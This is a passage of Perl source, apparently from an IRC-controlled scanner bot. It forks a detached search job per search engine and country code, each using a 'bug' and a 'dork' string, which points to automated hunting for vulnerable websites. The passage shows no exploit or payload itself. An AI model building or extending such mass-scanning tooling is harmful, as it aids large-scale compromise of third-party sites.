if ($engine =~ /ni/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NI",$type); } exit; } }
if ($engine =~ /nf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NF",$type); } exit; } }
if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NO",$type); } exit; } }
if ($engine =~ /om/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OM",$type); } exit; } }
if ($engine =~ /pk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PK",$type); } exit; } }
if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PA",$type); } exit; } }
if ($engine =~ /py/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PY",$type); } exit; } }
if ($engine =~ /pe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PE",$type); } exit; } }
if ($engine =~ /pn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PN",$type); } exit; } }
if ($engine =~ /pt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PT",$type); } exit; } }
if ($engine =~ /pr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PR",$type); } exit; } }
if ($engine =~ /qa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"QA",$type); } exit; } }
if ($engine =~ /rw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RW",$type); } exit; } }
if ($engine =~ /sh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SH",$type); } exit; } }
if ($engine =~ /sm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SM",$type); } exit; } }
if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SA",$type); } exit; } }
if ($engine =~ /sn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SN",$type); } exit; } }
if ($engine =~ /sc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SC",$type); } exit; } }
if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SG",$type); } exit; } }
if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SK",$type); } exit; } }
if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZA",$type); } exit; } }
if ($engine =~ /lk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LK",$type); } exit; } }
if ($engine =~ /vc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VC",$type); } exit; } }
if ($engine =~ /se/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SE",$type); } exit; } }
if ($engine =~ /ch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CH",$type); } exit; } }
if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TW",$type); } exit; } }
if ($engine =~ /tj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TJ",$type); } exit; } }
if ($engine =~ /bs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BS",$type); } exit; } }
if ($engine =~ /to/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TO",$type); } exit; } }
if ($engine =~ /tt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TT",$type); } exit; } }
if ($engine =~ /tr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TR",$type); } exit; } }
if ($engine =~ /tm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TM",$type); } exit; } }
if ($engine =~ /vi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VI",$type); } exit; } }
if ($engine =~ /ug/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UG",$type); } exit; } }
if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UY",$type); } exit; } }
if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UZ",$type); } exit; } }
if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VE",$type); } exit; } }
if ($engine =~ /vn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VN",$type); } exit; } }
if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZM",$type); } exit; } }
if ($engine =~ /museum/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MUSEUM",$type); } exit; } }
if ($engine =~ /ws/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WS",$type); } exit; } }
if ($engine =~ /af/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AF",$type); } exit; } }
if ($engine =~ /ax/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AX",$type); } exit; } }
if ($engine =~ /al/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AL",$type); } exit; } }
if ($engine =~ /dz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DZ",$type); } exit; } }
if ($engine =~ /ao/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AO",$type); } exit; } }
if ($engine =~ /aq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AQ",$type); } exit; } }
if ($engine =~ /am/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AM",$type); } exit; } }
if ($engine =~ /aw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AW",$type); } exit; } }
if ($engine =~ /ac/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AC",$type); } exit; } }
if ($engine =~ /bj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BJ",$type); } exit; } }
if ($engine =~ /bm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BM",$type); } exit; } }
if ($engine =~ /bt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BT",$type); } exit; } }
if ($engine =~ /io/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IO",$type); } exit; } }
if ($engine =~ /bn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BN",$type); } exit; } }
if ($engine =~ /bf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BF",$type); } exit; } }
if ($engine =~ /kh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KH",$type); } exit; } }
if ($engine =~ /cm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CM",$type); } exit; } }
if ($engine =~ /cv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CV",$type); } exit; } }
if ($engine =~ /ky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KY",$type); } exit; } }
if ($engine =~ /cf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CF",$type); } exit; } }
if ($engine =~ /cx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CX",$type); } exit; } }
if ($engine =~ /cw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CW",$type); } exit; } }
if ($engine =~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CY",$type); } exit; } }
if ($engine =~ /fk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FK",$type); } exit; } }
if ($engine =~ /fo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FO",$type); } exit; } }
if ($engine =~ /gh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GH",$type); } exit; } }
if ($engine =~ /gd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GD",$type); } exit; } }
if ($engine =~ /gp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GP",$type); } exit; } }
if ($engine =~ /gu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GU",$type); } exit; } }
if ($engine =~ /gn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GN",$type); } exit; } }
if ($engine =~ /gy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GY",$type); } exit; } }
if ($engine =~ /hm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HM",$type); } exit; } }
if ($engine =~ /iq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IQ",$type); } exit; } }
if ($engine =~ /jm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JM",$type); } exit; } }
if ($engine =~ /ki/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KI",$type); } exit; } }
if ($engine =~ /kw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KW",$type); } exit; } }
if ($engine =~ /la/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LA",$type); } exit; } }
if ($engine =~ /lb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LB",$type); } exit; } }
if ($engine =~ /lr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LR",$type); } exit; } }
if ($engine =~ /mo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MO",$type); } exit; } }
if ($engine =~ /mg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MG",$type); } exit; } }
if ($engine =~ /mv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MV",$type); } exit; } }
if ($engine =~ /mp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MP",$type); } exit; } }
if ($engine =~ /mq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MQ",$type); } exit; } }
if ($engine =~ /mr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MR",$type); } exit; } }
if ($engine =~ /yt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YT",$type); } exit; } }
if ($engine =~ /md/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MD",$type); } exit; } }
if ($engine =~ /mc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MC",$type); } exit; } }
if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ME",$type); } exit; } }
if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MZ",$type); } exit; } }
if ($engine =~ /nr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NR",$type); } exit; } }
if ($engine =~ /nc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NC",$type); } exit; } }
if ($engine =~ /ng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NG",$type); } exit; } }
if ($engine =~ /nu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NU",$type); } exit; } }
if ($engine =~ /pw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PW",$type); } exit; } }
if ($engine =~ /ps/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PS",$type); } exit; } }
if ($engine =~ /cq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CQ",$type); } exit; } }
if ($engine =~ /re/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RE",$type); } exit; } }
if ($engine =~ /lc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LC",$type); } exit; } }
if ($engine =~ /pm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PM",$type); } exit; } }
if ($engine =~ /st/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ST",$type); } exit; } }
if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RS",$type); } exit; } }
if ($engine =~ /gs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GS",$type); } exit; } }
if ($engine =~ /sl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SL",$type); } exit; } }
if ($engine =~ /sx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SX",$type); } exit; } }
if ($engine =~ /sb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SB",$type); } exit; } }
if ($engine =~ /so/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SO",$type); } exit; } }
if ($engine =~ /su/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SU",$type); } exit; } }
if ($engine =~ /kn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KN",$type); } exit; } }
if ($engine =~ /sr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SR",$type); } exit; } }
if ($engine =~ /tz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TZ",$type); } exit; } }
if ($engine =~ /tl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TL",$type); } exit; } }
if ($engine =~ /tg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TG",$type); } exit; } }
if ($engine =~ /tk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TK",$type); } exit; } }
if ($engine =~ /tn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TN",$type); } exit; } }
if ($engine =~ /tc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TC",$type); } exit; } }
if ($engine =~ /vu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VU",$type); } exit; } }
if ($engine =~ /wf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WF",$type); } exit; } }
if ($engine =~ /ye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YE",$type); } exit; } }
if ($engine =~ /zw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ZW",$type); } exit; } }
if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type); } exit; } }
if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCA",$type); } exit; } }
if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDE",$type); } exit; } }
if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUK",$type); } exit; } }
if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeFR",$type); } exit; } }
if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeES",$type); } exit; } }
if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIT",$type); } exit; } }
if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNL",$type); } exit; } }
if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBE",$type); } exit; } }
if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCH",$type); } exit; } }
if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSE",$type); } exit; } }
if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDK",$type); } exit; } }
if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNO",$type); } exit; } }
if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNZ",$type); } exit; } }
if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIE",$type); } exit; } }
if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBR",$type); } exit; } }
if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAR",$type); } exit; } }
if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCO",$type); } exit; } }
if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCU",$type); } exit; } }
if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCL",$type); } exit; } }
if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMX",$type); } exit; } }
if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAU",$type); } exit; } }
if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRU",$type); } exit; } }
if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAT",$type); } exit; } }
if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePL",$type); } exit; } }
if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIL",$type); } exit; } }
if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTR",$type); } exit; } }
if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUA",$type); } exit; } }
if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGR",$type); } exit; } }
if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeJP",$type); } exit; } }
if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCN",$type); } exit; } }
if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMY",$type); } exit; } }
if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTH",$type); } exit; } }
if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIN",$type); } exit; } }
if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKR",$type); } exit; } }
if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRO",$type); } exit; } }
if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTW",$type); } exit; } }
if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeZA",$type); } exit; } }
if ($engine =~ /googlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePT",$type); } exit; } }
if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bing",$type); } exit; } }
if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDE",$type); } exit; } }
if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingUK",$type); } exit; } }
if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCA",$type); } exit; } }
if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBR",$type); } exit; } }
if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingFR",$type); } exit; } }
if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingES",$type); } exit; } }
if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIT",$type); } exit; } }
if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBE",$type); } exit; } }
if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNL",$type); } exit; } }
if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPT",$type); } exit; } }
if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNO",$type); } exit; } }
if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDK",$type); } exit; } }
if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingSE",$type); } exit; } }
if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCH",$type); } exit; } }
if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNZ",$type); } exit; } }
if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingRU",$type); } exit; } }
if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingJP",$type); } exit; } }
if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCN",$type); } exit; } }
if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingKR",$type); } exit; } }
if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMX",$type); } exit; } }
if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAR",$type); } exit; } }
if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCL",$type); } exit; } }
